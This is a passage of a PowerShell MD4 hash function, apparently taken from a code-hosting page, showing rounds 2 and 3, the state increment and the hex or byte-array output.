$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 48)..($i + 51)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
|
||||
|
||||
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 4)..($i + 7)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 20)..($i + 23)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
|
||||
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 36)..($i + 39)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
|
||||
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 52)..($i + 55)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
|
||||
|
||||
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 8)..($i + 11)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 24)..($i + 27)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
|
||||
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 40)..($i + 43)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
|
||||
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 56)..($i + 59)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
|
||||
|
||||
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 12)..($i + 15)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 28)..($i + 31)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
|
||||
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 44)..($i + 47)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
|
||||
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 60)..($i + 63)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
|
||||
# Round 2 end
|
||||
# Round 3 start
|
||||
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 0)..($i + 3)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 32)..($i + 35)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
|
||||
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 16)..($i + 19)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
|
||||
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 48)..($i + 51)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
|
||||
|
||||
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 8)..($i + 11)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 40)..($i + 43)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
|
||||
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 24)..($i + 27)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
|
||||
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 56)..($i + 59)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
|
||||
|
||||
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 4)..($i + 7)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 36)..($i + 39)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
|
||||
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 20)..($i + 23)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
|
||||
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 52)..($i + 55)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
|
||||
|
||||
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 12)..($i + 15)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 44)..($i + 47)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
|
||||
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 28)..($i + 31)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
|
||||
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 60)..($i + 63)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
|
||||
# Round 3 end
|
||||
# Increment start
|
||||
$A = ($A + $AA) -band [uint32]::MaxValue
|
||||
$B = ($B + $BB) -band [uint32]::MaxValue
|
||||
$C = ($C + $CC) -band [uint32]::MaxValue
|
||||
$D = ($D + $DD) -band [uint32]::MaxValue
|
||||
# Increment end
|
||||
}
|
||||
# Output start
|
||||
$A = ('{0:x8}' -f $A) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
|
||||
$B = ('{0:x8}' -f $B) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
|
||||
$C = ('{0:x8}' -f $C) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
|
||||
$D = ('{0:x8}' -f $D) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
|
||||
# Output end
|
||||
|
||||
|
||||
if($AsByteArray)
|
||||
{
|
||||
return [byte[]]("$A$B$C$D" -replace '..', '0x$&,' -split ',' -ne '')
|
||||
}
|
||||
else
|
||||
{
|
||||
if($UpperCase)
|
||||
{
|
||||
return "$A$B$C$D".ToUpper()
|
||||
}
|
||||
else
|
||||
{
|
||||
return "$A$B$C$D"
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user